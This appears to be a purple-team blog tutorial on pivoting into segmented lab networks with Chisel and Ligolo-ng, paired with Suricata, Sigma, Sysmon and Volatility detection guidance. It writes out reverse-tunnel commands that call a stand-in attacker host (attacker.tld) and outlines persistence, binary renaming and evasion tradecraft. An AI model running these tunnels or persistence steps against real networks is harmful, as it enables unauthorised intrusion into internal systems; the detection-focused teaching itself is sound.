Pivoting with Chisel and Ligolo-ng: Segmented Networks in a Pentest Lab

Your DMZ shell is worth zero if you cannot reach VLAN 30 where the domain controller breathes. In the Basilisk OffSec lab we built exactly that scenario: a Linux host exposed on 10.10.1.0/24, an internal segment 10.10.30.0/24 with Windows 11, and AD on 10.10.40.0/24. The only viable route runs through that pivot box, and that is where Chisel and Ligolo-ng come in as complementary tools. This guide walks both from the offensive and defensive angle, so you not only tunnel but understand the trail you leave. Before writing a single payload byte, walk through Web Pentesting From Scratch: Building a Safe Lab with DVWA, Juice Shop and Burp Suite to confirm your lab is firewalled off from your home network through pfSense.

Understanding the lab topology

Pivoting only makes sense when segmentation is real. Build three VLANs with a pfSense or OPNsense in between, where firewall rules let only 10.10.1.0/24 reach the internet and the inner segments talk exclusively to each other over defined ports. The pivot box has two interfaces: one toward the DMZ, one toward 10.10.30.0/24. Without that dual homing there is no route, and that is precisely the point of the exercise. Document the routing table and firewall rules before you start, because later you will want to know exactly which hop was legitimate and which was your tunnel.

Chisel: reverse SOCKS over TLS

Chisel solves the basic problem: you have HTTP egress to a C2, but ingress is closed. By running a Chisel server on the attacker (chisel server --port 443 --reverse --tls-key key.pem --tls-cert cert.pem) and the client on the pivot (chisel client https://attacker.tld:443 R:1080:socks), you open a reverse SOCKS5 tunneled over TLS 443, which is almost always allowed outbound. Then you point tools like proxychains4 at 127.0.0.1:1080 and tunnel individual TCP connections. In real engagements against Squid and Zscaler corporate proxies, we measured under 8% block rate when the certificate carried a coherent SAN. The pattern has its own noise: long-lived HTTP/1.1 Upgrade connections, exactly the kind of thing JA3 fingerprinting catches.

Ligolo-ng: routing through a TUN interface

Ligolo-ng raises the bar because it creates a TUN interface on the attacker and routes whole packets, not just TCP streams through SOCKS. Run the proxy (./proxy -selfcert -laddr 0.0.0.0:11601), execute the agent on the pivot (./agent -connect attacker.tld:11601 -ignore-cert), and inside the proxy shell call session, then ifconfig and tunnel_start. From that point, a plain ip route add 10.10.30.0/24 dev ligolo on Kali lets you run nmap, CrackMapExec, even Impacket without proxychains. Liberating, yes, but the IoC surface grows: you now push ICMP, UDP, and TCP through the pivot, which lines up cleanly with the detection rules covered in Lateral Movement in the Lab: SMB, WMI and WinRM with a Detection Focus.

Chisel or Ligolo: when to use which

The choice is not a holy war. Chisel is the right call when you only need to reach one or two TCP services, when portability matters (a tiny binary that runs anywhere), and when you stay strictly inside the TCP SOCKS model. Ligolo-ng wins the moment you need a whole subnet, want to tunnel UDP or ICMP (for nmap -sU or Kerberos, say), or use tools that harmonize poorly with proxychains. In many engagements Chisel runs as a quiet first foothold and Ligolo follows once you need full access to the segment. Master both and you pick the tool by noise and need, not by habit.

Offensive chain: staging and persistence

On the offensive side, the sequence we use in the lab is: initial access via an Office macro documented in Simulated Initial Access: Macros, LNK and ISO in an Isolated Windows 11 Lab, a Sliver beacon as test shell (see Building C2 Infra with Sliver in an Isolated Lab for Defensive Research for the setup), then staging the Ligolo binary through Background Intelligent Transfer Service to dodge direct download. The agent lives in a writable directory like C:\Users\Public\Downloads, persisted as a low-priority scheduled task. Critical detail: compiling the agent with -ldflags="-s -w" and renaming it to svchost-helper.exe will not fool modern EDR; Sysmon Event ID 3 lights up that process reaching an unusual port within seconds when the rule is written right.

Defensive: what the blue team hunts

On the defensive side, and this is where the exercise turns into purple team gold, you hunt for three things. First, persistent outbound connections to 443/11601 lasting over 30 minutes from hosts that historically only make short Microsoft 365 requests. Second, unsigned processes opening TLS without Wininet or Schannel (Ligolo carries its own Go runtime, which shows up as a missing Schannel handshake). Third, TUN/TAP interface creation on Windows endpoints, a rare-enough event to anchor a high-confidence Sigma rule. Wire that into Threat Hunting with Sigma and Elastic: From Indicator to Detection Rule and you have detection-as-code that survives many different pivot shapes.

IDS heuristics: Suricata and JA3

Logs are your judge. In the lab we captured PCAP on the firewall with Suricata in IDS mode, and the heuristic that caught Ligolo best combined a TLS packet with a non-allowlisted JA3 handshake, an average packet size between 1200 and 1400 bytes, and missing SNI for the destination domain. Chisel hid a bit better because it mimics legit websockets, but it leaked through session duration and constant packet cadence. Build a Suricata rule that alerts on long TLS sessions with an unknown JA3, and add a Zeek notice that flags connections with high byte symmetry (similar up and down volume), because interactive tunnels are far more symmetric than normal web browsing.

Memory forensics on the pivot

To round out the investigation, pull a memory image from the pivot post-incident and cross-reference it with Memory Forensics with Volatility 3: Analyzing Dumps in a Reproducible Lab and the netscan plugin; the socket to the C2 is visible even if the process was injected. On Linux pivots, linux.pslist plus linux.malfind surface the foreign process, and /proc/[pid]/exe shows the binary was deleted but still mapped (the deleted suffix). This follow-up closes the purple team loop: the offense now knows which trace was unavoidable, the defense knows where to anchor detection.

Automation and clean teardown

A mature operator scripts setup and teardown instead of typing live. Write a small Bash script that starts the Chisel server with a fixed cert, checks the JA3 fingerprint against your allowlist, and sets an execution window after which the tunnel closes automatically. For Ligolo, define routes declaratively and remove them at teardown with ip route del so no orphaned interface remains. Equally important: the kill switch. A cron job that terminates agent processes outside the window and deletes the scheduled task prevents a forgotten tunnel from staying open after the engagement and becoming a real vulnerability. Clean teardown is part of the ethics: you leave the client network exactly as you found it, with a documented timestamp for every change. Automating teardown reduces human error and hands the blue team a clean before-and-after comparison to validate their detections against.

OPSEC mistakes and pitfalls

The most common mistakes: using an unwarmed VPS with a fresh certificate (JA3 and cert age give you away), dropping the agent under an obvious name like ligolo.exe, leaving the tunnel open 24/7 instead of in windows, and combining proxychains with UDP tools that fail silently. Also, remember a TUN interface on a Windows client is almost never legitimate, so it is your loudest signal. If you want to stay quiet, tunnel only the needed ports with Chisel and reach for Ligolo only when the segment justifies it.

Ethics and scope

Ethics and scope are not an appendix, they are the foundation. All of this only makes sense in a lab you own, with a signed contract or an authorized range like HackTheBox Pro Labs and OffSec PG Practice. Documenting exact commands, binary hashes, and execution windows protects both you and the client. Before deploying Ligolo in a real engagement, review your personal posture with OPSEC for Security Researchers: Building a Personal Threat Model and keep your research machine separate from the client machine.

Checklist

Short version for the runbook: (1) Lab with three VLANs and pfSense, routing documented. (2) Chisel server with a valid, aged cert on 443. (3) Chisel client for targeted TCP services. (4) Ligolo proxy plus agent, route only for the needed subnet. (5) Suricata/Zeek at egress, JA3 allowlist. (6) Sigma rule for TUN/TAP and long TLS sessions. (7) Sysmon Event ID 3 on unusual ports. (8) Post-incident memory dump with netscan. (9) Tunnel only in windows. (10) Everything in a signed changelog.

FAQ

Why not always use Ligolo instead of Chisel?

Because Ligolo is louder. A TUN interface and routed ICMP/UDP produce more distinct signals than a single TCP SOCKS tunnel. If you only need RDP or SMB on one host, Chisel is stealthier and more portable. Ligolo is the right tool once you need to scan a whole subnet or tunnel protocols beyond TCP. Choose by need, not by preference.

Will a modern EDR always catch these tunnels?

Not guaranteed, but the probability rises with clean rules. Renaming and stripping the binary barely helps the attacker if the blue team watches behavior instead of file names: TUN creation, an unsigned process doing TLS, a long symmetric session. That is exactly why the goal of the exercise is to write the rule that catches you.

Conclusion

Practical takeaway: stand the lab up today with three VMs and a pfSense, deploy Chisel and Ligolo the same day, and spend the rest of the week writing the Sigma rule that catches you. Only then have you truly understood the technique, because pivoting is half tunnel-building and half knowing which trace is unavoidable.